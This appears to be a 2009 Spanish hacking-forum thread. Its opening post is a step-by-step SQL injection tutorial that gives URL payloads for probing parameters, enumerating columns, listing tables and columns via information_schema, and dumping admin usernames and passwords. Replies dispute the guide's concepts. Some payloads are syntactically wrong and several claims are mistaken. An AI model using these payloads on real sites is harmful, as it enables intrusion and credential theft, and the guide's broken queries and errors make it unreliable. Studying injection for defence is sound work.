[Guía] SQLi (Inyección SQL)

Iniciado por Demonic&Sound, 21 Diciembre 2009, 16:57 PM

0 Miembros y 1 Visitante están viendo este tema.

Demonic&Sound

Que es y como funciona la SQLi (Inyección SQL).
 
  Hola, Aquí una guía del SQLi
                               
 

Contenido
 
¿Que es?.
Descripción.
¿En que lenguaje veremos su uso?.
Como saber si el sitio es vulnerable.
Proseguir si el sitio Web es vulnerable.
Explorar tu information_schema.tables
Viendo tu usuario y password para saber tu seguridad.
Conclusión.
 
1.¿Que es?


La Inyección SQL o SQLi es una vulnerabilidad centrada en consultas de la base de datos de una aplicación, esta vulnerabilidad puede estar en todo tipo de lenguajes de programación como por ejemplo PHP, JAVA, PERL, C#, ASP, etc.

2.Descripción


Una Inyección SQL o SQLi suele suceder cuando se inyecta un código SQL al lenguaje para alterar el contenido y su funcionamiento normal y hacer que se ejecute el código malicioso en la base de datos. La mayor de las veces estos errores en las SQL son por la ignorancia del lenguaje pero este código puede ser reparado por programadores o personas que tengan el conocimiento suficiente para poder reparar el error.

3.¿En que lenguaje veremos su uso?

PHP, será el lenguaje que usaremos para esta guía, ya que es en el que mas me domino, las paginas php son las que terminan con .php, como por ejemplo:

pagina.cl/index.php

4.Como saber si el sitio es vulnerable.

Para saber si el sitio es vulnerable existen varias formas de saber, como la versión del lenguaje php, si te creaste una Web con un auto instalador como SMF, PHP NUKE, etc,
procura siempre tener la versión mas nueva, ya que existen exploits o vulnerabilidades que pueden ser explotadas para que el sitio tenga un mal funcionamiento, se dice que PHP NUKE es uno de los proveedores de sitios php mas vulnerables, no se garantiza tenerlo solo por sus Themes "Temas" y su facilidad, se recomienda hacer paginas Web con el lenguaje HTML.
Tu sitio Web podría ser vulnerable a sus ID, actions, opcions, etc., estas vulnerabilidades quizás tu ya las hallas visto como:

pagina.cl/search.php?id=NUMERO
pagina.cl/menu.php?act=NUMERO
pagina.cl/index.php?opc=NUMERO


Algunos de esos podrían tener una vulnerabilidad SQLi para poder saber si tiene una vulnerabilidad habrá que hacer una consulta como:

pagina.cl/search.php?id=-1
pagina.cl/menu.php?act='2
pagina.cl/index.php?opc=99999999999999999999999999


Hay que probar con esas que son las básicas, en la primera sale -1, las páginas siempre están con números positivos es raro ver una página Web que tenga opciones con -1, -2 entonces causa de esto puede salir un error de SQLi, la pantalla podría ponerse blanca, etc.
En la segunda es un '2, ¿por qué '?, porque ' es un signo que no se usa en las páginas webs, o acaso has visto una Web que use ', el 2 es cualquier número pero la mayoría de las veces resulta el número 2, para saber si funciona sale lo mismo que en el ejemplo anterior.
En la tercera nunca ponen tantos números si te das cuenta casi siempre el usuario admin es pagina.cl o 1 porque es el primer miembro que estuvo pero si yo pongo pagina.cl la pagina Web colapsa y entregaría errores.

Ejemplo de error:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/public_html/users.php on line 16


5.Proseguir si el sitio Web es vulnerable.



PD: IMPORTANTE, si la web es vulnerable los 99999999 y -1 solo pueden continuar, el '2 da errores.

Si el sitio Web resulta vulnerable, y si es tú Web tendrías que saber si entrega datos importantes como la "Information_schema.tables", que contiene toda información de el sitio Web, las columnas, tablas, etc.

Primero como ya sabemos que el sitio Web es vulnerable debemos poner:

pagina.cl/users.php?id=-1+

Tenemos que poner el signo "+" pero obviamente antes la vulnerabilidad encontrada
luego debemos hacer un union+select+ que es para unir la selección de la vulnerabilidad y seguir, ahora:

pagina.cl/users.php?id=-1+union+select+

Quedaría así, como ya tenemos eso ahora debemos poner los números para ver que numero es el que tiene el error, una de las formas que se utiliza es así:

pagina.cl/users.php?id=-1+union+select+1,2,3,4,n

Tenemos que hacer esto asta que la web muestre números o cambie, pero debe mostrar números esos números que muestre son los errores, entonces podemos ver si nuestra Web es vulnerable o no, para saber tenemos que ver la versión:

pagina.cl/users.php?id=-1+union+select+1,2,3,@@version,5,6,7,8,9


Si fuera tu Web y es vulnerable podría decir algo como: 5.0.38-Ubuntu_0ubuntu1.4ahora que tenemos la versión este es un breve resumen de las versiones:
Versión 5.X.XX tienen information_schema.tables (Mas Probabilidad de ser atacadas)

Versión 4.X.XX no tienen information_schema.tables (Menos Probabilidad de ser atacadas)

Lo demás es el S.O que se esta usando en el Host. Si tu Web no es 5.X.XX podrías estar feliz de que tienes menos posibilidad de que "Defaceen" tu sitio Web.Pero si tu Web es 5.X.XX tienes mas probabilidades, para saber si tu página Web muestra datos importantes tendremos que borrar lo que hicimos (@@version) y cambiarlo por el numero que tenia el error, ahora debemos ver el information_schema.tables de nuestro sitio Web, el código es así:

pagina.cl/users.php?id=-1+union+select+1,2,3,group_concat(table_name),5,6,7,8,9+information_schema.tables

El código en si explicado es cambiar el numero que tiene error (que se muestra) por "group_concat(table_name)" que significa que busca el grupo de tablas (Todas) luego de eso seguimos con los otros números y al final se le agrega "+information_schema.tables", si te tira cosas como:

"CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,etc."

Es porque tu sitio es vulnerable y podrías perderlo si alguien tiene conocimientos y un pensamiento nefasto.

Pero el codigo anterior es un poco desordenado este es otro compuesto por frases en hexadecimal:

pagina.cl/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_name),0x2C,0x3C62723E),5,6,7,8,9+information_schema.tables


6.Explorando tu information_schema.tables


Ahora que sabemos que en nuestro sitio es visible el information_schema.tables, debemos saber que información obtendrá el atacante.
primero debemos saber que queremos explorar... como por ejemplo usuarios ;)!
las paginas web no son tan "prehistóricas" para solo poner usuarios y te saldrán los datos así que encriptaremos la tabla que queramos ver a ASCII.

(Convertidor: String to ASCII chart, ASCII to decimal convertor, String to decimal converter, string hexadecimal / hex conversion)

Codificamos a ascii la tabla que queramos y la dejamos anotada, la mía es (97 100 109 105 110)
a nuestro código en ASCII le sacamos los espacios y los remplazamos por comas:

97,100,109,105,110


Ahora volvemos a el código para ver el information_schema.tables, pero ahora lo que vamos a ver son columnas (Son lo que esta dentro de una tabla) Ejemplo:

Tabla: Admin
Columna: ID, User_Name, Password, Email


Entendido?, entonces remplazamos

pagina.cl/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_name),0x2C,0x3C62723E),5,6,7,8,9+information_schema.tables

table_name
por column_name
information_schema.tables por information_schema.columns

quedaría así:

pagina.cl/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_column),0x2C,0x3C62723E),5,6,7,8,9+information_schema.columns

Ahora nos tiraría datos que no habíamos visto, pero ignoren esto, ya que no es muy importante ahora lo que tienen que hacer es agregar después de .columns esto:

Quedaría así:

pagina.cl/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_column),0x2C,0x3C62723E),5,6,7,8,9+information_schema.columns+where+table_name=char(ASCII)--

Ahora ya sabemos lo que esta dentro de la tabla que queríamos ;)!, hemos explorado nuestra information_schema.tables eso es un gran avance.

7.Viendo tu Usuario y Password Para saber tu seguridad

Ahora como sabemos todo esto podemos ver que hay en estas columnas :)!, para saber debemos ir muy atrás y tener nuestro código principal que es este:

pagina.cl/users.php?id=-1+union+select+1,2,3,4,5,6,7,8,9

¿Cierto?, Bueno ahora manos a la obra (Frase Prehistórica), Bueno nosotros sabemos que el código donde esta el error es el que se ve en la pagina web que es un número; en esta guía el número es 4 así que remplazaremos el numero 4 por concat(Columna,0x3d,Columna).

Entonces el Código quedaría así:

pagina.cl/users.php?id=-1+union+select+1,2,3,concat(Columna,0x3d,Columna),5,6,7,8,9

No me refiero a que se deba poner sí  o sí "Columna" eso se debe renombrar por los datos que nos dio el information_schema.columns, como el ejemplo que di:

Tabla: Admin
Columna: ID, User_Name, Password, Email


Entonces quedaría así:

pagina.cl/users.php?id=-1+union+select+1,2,3,concat(User_Name,0x3d,Password),5,6,7,8,9

Ahora tengo que decirles que este código no esta completo, al final de los números les agregamos +from+Tabla--

Entonces quedaría algo así:

pagina.cl/users.php?id=-1+union+select+1,2,3,concat(Columna,0x3d,Columna),5,6,7,8,9+from+admin--

y renombrando quedaría:

pagina.cl/users.php?id=-1+union+select+1,2,3,concat(User_Name,0x3d,Password),5,6,7,8,9+from+admin--

Ahora te podria dar tu usuario y clave, si te deniega es porque tu host es mas seguro de lo que pensabas, si te las da, procura que nadie sepa el error antes que tu y arreglalo.

8.Conclusión


Ahora sabemos que nuestro sitio es vulnerable (o no) tenemos que reparar el error, eso no esta en esta guía, ya que los errores varían, este tutorial no es para destruir páginas sino para la seguridad informática de nuestro sitio Web, dedicado a foro.elhacker.net y a todos los que tengan sed de aprender.

Regalo de Demonic&Sound :)

fede_cp

Esta bueno, pero esto va en bugs y expliots a nivel web  :xD


saludos
somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!

~ Yoya ~

Ps no puedo decir que es un buen tutorial porque no esta bien definido, porque para definir cosas debes conocer las cosas bien antes de definirlo...

Como por ejemplo el - y el ', ps sabes mysql?

El ' se usa para saber si las magic quotes estan activadas o desactivadas.

http://php.net/manual/en/security.magicquotes.php
CitarMagic Quotes is a process that automagically escapes incoming data to the PHP script. It's preferred to code with magic quotes off and to instead escape the data at runtime, as needed.

Tambien dices que puede estar en:
CitarPHP, JAVA, PERL, C#, ASP
Y es un grave error, como bien dices es una vulnerabilidad que esta centrada en consultas hacia las base de datos pero PHP, JAVA, PERL, C#, ASP no son base de datos... Las base de datos son MYSQL, PostgreSQL, y demas. Ademas te contradices mucha veces porque la version nada tiene que ver, como te habia dicho, son consultas hacia la base de datos y SMF, PHPNUKE, etc... No son proveedores de php, son CMS que estan programados en php.

Definicion de CMS:
http://es.wikipedia.org/wiki/Sistema_de_gesti%C3%B3n_de_contenidos

Un sistema de gestión de contenidos (en inglés content management system, abreviado CMS) es un programa que permite crear una estructura de soporte (framework) para la creación y administración de contenidos, principalmente en páginas web, por parte de los participantes.

La information.schema esta desde la version php 5 en adelante y tienes muchos mas errores en tu tutos, Pero veo que te has gastado tu tiempo al hacer un tutorial para que uno lo pueda leer y es un tutorial para que no saben sqli lo aprendan de forma muy facir como lo has mostrados pero con muchos conceptos erroneos.

Saludos y se agradece.
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

YST

CitarTu sitio Web podría ser vulnerable a sus ID, actions, opcions, etc.,

Para ser mas expesifico puede estar en cualquier lado que la web pida información para hacer una consulta Mysql :P


Yo le enseñe a Kayser a usar objetos en ASM

08l00D

#4
Cita de: yoyahack en 21 Diciembre 2009, 19:46 PM
Tambien dices que puede estar en:
CitarPHP, JAVA, PERL, C#, ASP
Y es un grave error, como bien dices es una vulnerabilidad que esta centrada en consultas hacia las base de datos pero PHP, JAVA, PERL, C#, ASP no son base de datos... Las base de datos son MYSQL, PostgreSQL, y demas. Ademas te contradices mucha veces porque la version nada tiene que ver, como te habia dicho, son consultas hacia la base de datos
Pues yo creo que "de alguna forma" es correcto lo que puso ya que dijo "la vulnerabilidad puede estar en todo tipo de lenguajes de programación como por ejemplo PHP, JAVA, PERL, C#, ASP, etc" y esto es cierto si bien no es una "vulnerabilidad" en los scripts es un error de programacion el que hace posible que se pueda hacer una SQLI, es decir, que el error esta en el mal filtrado de variables que luego sera la consulta a la base de datos, por lo tanto es un error de programacion, y no es que las bases de datos tengan alguna vulnerabilidad...

CitarLa information_schema esta desde la version MySQL 5 en adelante y tienes muchos mas errores en tu tutos


el tuto es basico para los que recien empiezan y no necesariamente esta todo bien explicado pero es buen punto de partida  :P

Saludos...

~ Yoya ~

#5
Ps si el error fuera por ejemplo en el mal filtrado de las variables de php entonces no puedieras acceder a la base de datos, porque el error estuviera en la mal programacion de php y no en la programacion de la base de datos ya que si quieres sacar informacion de la base de datos tienes que acceder a ellas con su usuario y password y luego ir haciendo consultas, si me equivoco entonse mostrarme un archivo php vulnerable a sqli, claro si existe xD...

Y si es basico, no por eso debes sacar algunos conceptos ya que si estas en php4 no podras usar information schema y tu tuto no tendra valides.
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

YST

El error esta en el lenguaje que hace la consulta no en Mysql :P


Yo le enseñe a Kayser a usar objetos en ASM

08l00D

Cita de: yoyahack en 21 Diciembre 2009, 21:33 PM
Ps si el error fuera por ejemplo en el mal filtrado de las variables de php entonces no puedieras acceder a la base de datos, porque el error estuviera en la mal programacion de php y no en la programacion de la base de datos ya que si quieres sacar informacion de la base de datos tienes que acceder a ellas con su usuario y password y luego ir haciendo consultas, si me equivoco entonse mostrarme un archivo php vulnerable a sqli, claro si existe xD...
pues resulta que esa variable mal filtrada puede contener una sentencia SQL que va a estar dentro de la query que el script enviara a la base de datos ... el script vulnerable se conecta a la base de datos y le envia la query (consulta) con la consulta que tu inyectaste en esa variable .... el script ya tiene los datos para conectarse a la base de datos nunca viste como se realiza una consulta a mysql en php   :P ...

y mira para que veas que si estas equivocado... mira en esta misma web hay un post con una aplicacion vulnerable a sql injection por que no se chekea la variable $id y va a parar directamente a la consulta ...
http://foro.elhacker.net/nivel_web/sql_injection_para_principiantes_ejemplos_en_aplicaciones_reales-t142203.0.html

PD: PHP no tiene nada que ver con que si este o no habilitado information_schema ... depende de la version de MySQL (=<5)
CitarY si es basico, no por eso debes sacar algunos conceptos ya que si estas en php4 no podras usar information schema y tu tuto no tendra valides.

~ Yoya ~

xD, PHP 4 no soporta information schema xD, ps solo fueron aportes/comentarios, para la proxima estudia los conceptos y escribe un codigo vulnerable xD.

Saludos!.
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

fede_cp

#9
lo lei por "arriba" asique no puedo acotar

saludos
somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!